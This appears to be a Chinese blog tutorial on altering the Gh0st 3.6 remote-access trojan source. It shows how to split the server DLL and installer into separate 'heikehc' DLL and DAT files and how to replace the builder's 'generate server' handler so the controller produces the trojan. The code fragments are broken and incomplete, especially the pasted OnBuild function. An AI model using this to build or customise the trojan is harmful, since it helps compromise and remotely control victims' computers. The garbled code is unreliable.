Gh0st源码学习(三)生成DLL和DAT文件
一、自定义DLL和DAT文件的生成路径
先搜索 IDR_BSS 、 IDR_DLL
1、 IDR_DLL
位置:\Gh0st3.6原版\Server\install\install.cpp(418): ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString);
if (lpServiceName != NULL) { //修改 // ReleaseResource(NULL, IDR_DLL, "BIN", strModulePath, lpConfigString); ReleaseResource(NULL, "DLL", "BIN", strModulePath, lpConfigString); } |
附:查找 ReleaseResource
修改其代码:BOOL ReleaseResource(HMODULE hModule, DWORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString) 为:BOOL ReleaseResource(HMODULE hModule, LPCTSTR wResourceID, LPCTSTR lpType, LPCTSTR lpFileName, LPCTSTR lpConfigString) 并将其中的: |
2、\Gh0st3.6原版\Server\install\install.rc(29):IDR_DLL BIN DISCARDABLE "res\\svchost.dll"
//去掉这段代码 分离DLL、DAT 修改位置 2 //IDR_DLL BIN DISCARDABLE "res\\svchost.dll" |
3、\Gh0st3.6原版\Server\install\resource.h(5):#define IDR_DLL 101 // 这个不能改
//分离DLL、DAT文件 修改位置 3 //#define IDR_DLL 101 // 这个不能改 //#define IDR_SYS 102 // 这个不能改 |
再搜IDR_BSS ,必须从工程的根目录开始搜索
4、\Gh0st3.6原版\gh0st\gh0st.rc(589):IDR_BSS BSS DISCARDABLE "res\\install.exe"
//分离DLL、DAT文件 修改位置 4 //IDR_BSS BSS DISCARDABLE "res\\install.exe" |
二、修改生成文件
1、右击 svchost flies ,选择 设置 ,连接 ,输出文件名
原内容:../install/res/svchost.dll --可以自己去 svchost目录中找 改成:../../bin/Update/heikehc.dll |
左边面板中单击 install ,将对应的 输出文件名
原内容:../../gh0st/res/install.exe --EXE文件,可以修改成DAT文件 改成:../../bin/update/heikehc.dat |
三、修改“生成服务端”按钮对应代码
进入 资源窗口 ,Dialog ,IDD_BUILD ,点击 “生成服务端” ,进入代码编辑
将整个 响应函数 的代码 都替换掉!
void CBuildView::OnBuild() { // TODO: Add your control notification handler code here UpdateData(tr); if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty()) { AfxMessageBox("请完整填写服务显示名称和描述 -:("); return; } CString strAddress; // 保存配置 CString strServiceConfig; CFileDialog dlg(FALSE, "exe", "server.exe", OFN_OVERWRITEPROMPT,"可执行文件|*.exe", NULL); if(!CopyFile(ExePath,BakPath,FALSE)) //如果不存在dat文件就提示下 HANDLE hFile; DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile ); HANDLE hUpdate; CFile file; |
后记:
之前单一的GHSOT是那种以文件包含文件的形式生成...(个人这样理解..也这样理解..)
现在我们是 用 UPDATE文件夹下面的2个文件..来让主控端调用生成 木马..所以生成的方式不一样..
所以这里的 代码也要相信的修改...
因为在DLL和DAT中都相应的修改了资源的调用..所以我们在主控端也要相应的修改生成的方式..
好了 编译下 看有没有错误
注意一点: 添加代码注释的时候 不要用 中文 数学、或是标点符号 。。
否则极有可以在资源编译的时候不能顺利通过!
Gh0st源码学习(三)生成DLL和DAT文件相关推荐
- Opencascade源码学习之模型算法_TKO模块文件介绍
Opencascade源码学习之模型数据_TKO模块文件介绍 1.TKO 1.BOPAlgo 2.BOPDS 3.BOPTools 4.BRepAlgoAPI 5.IntTools 1.TKO 1.B ...
- Opencascade源码学习之模型数据——TKGeomBase模块文件介绍
Opencascade源码学习之模型数据--TKGeomBase模块文件介绍 1.AdvApp2Var 2.AppCont 3.AppDef 4.AppParCurves 5.Approx 6.Bnd ...
- dubbo源码学习三—暴露服务exporter、invoker
前面我们知道通过自定义标签,我们可以定位到相关标签的解析,同时梳理出三个重要的bean:ServiceBean.ReferenceBean.ConfigCenterBean. 通过Servicebea ...
- 修改meta标签 查看源码没效果怎么办_Spring 源码学习(三)-自定义标签
又来填坑啦,上一篇讲完默认标签的解析,这篇笔记记录一下自定义标签的解析吧. 我们知道,Spring 源码的核心模块是 Spring-core 和 Spring-beans,在此基础上衍生出其他模块,例 ...
- Gh0st源码学习(一)前期准备工作
1.安装 VC 6.0 2.安装最新SDK 包,并替换掉 VC 安装目录中相应文件夹 3.下载Gho0st 3.6 纯净版源友 4. install.exe - 0 error(s), ...
- Gh0st源码学习(二)去除硬盘锁和驱动
一.去除硬盘锁 GH0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁 中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部 ...
- [spring源码学习]三、IOC源码——自定义配置文件读取
一.环境准备 在文件读取的时候,第9步我们发现spring会根据标签的namespace来选择读取方式,联想spring里提供的各种标签,比如<aop:xxx>等应该会有不同的读取和解析方 ...
- patch请求_SpringMVC源码学习(三) 请求处理的流程
在最近的一篇文章中我们大概了解了SpringMVC的九大组件,以及初始化的问题.根本初始化的发起是Spring的事件机制.而这九大组件是什么?我们先回顾一下,他们分别是文件处理器.语言处理器.主题处理 ...
- yara 源码学习(三) 扫描部分
yara程序的扫描过程 此部分主要在libyara,c scan.c,eval.c中 不管是扫描进程内存,还是扫描文件夹,扫描文件,最终真正的扫描过程都是函数 int yr_scan_mem_blo ...
最新文章
- 二分搜索 2015百度之星初赛1 HDOJ 5248 序列变换
- Tomcat 的 catalina.out 日志分割
- Python中JSON的基本使用
- 多元时代个人信息更需强有力保护
- P4009 汽车加油行驶问题
- aws mfa 认证_如何为您的AWS账户设置多因素身份验证(MFA)
- sae mysql_connect_SAE连接数据库 - zxm的个人空间 - OSCHINA - 中文开源技术交流社区
- OpenGL(二)——OpenGL图形绘制
- SSH 上传下载文件
- Unity3d之MonoBehaviour的可重写函数整理
- 在renderman中使用raytrace 计算fur的项目
- 红米Note8手机图纸-电路原理图+主板元件位号图
- pdf转换成jpg python_Python将PDF转成图片PNG和JPG
- 基于SpringBoot-上传照片保存到本地,且回显照片
- mysql查询并计算单价_Mysql--查询的成本如何计算
- 网页制作的形式美的规则
- 手机直播源码,底部导航栏样式
- php 上传 413,PHP CURL上传文件出现413 Request Entity Too Large
- Android震动vibrator(马达)--系统到驱动的流程【转】
- 建立正确的领导思维方式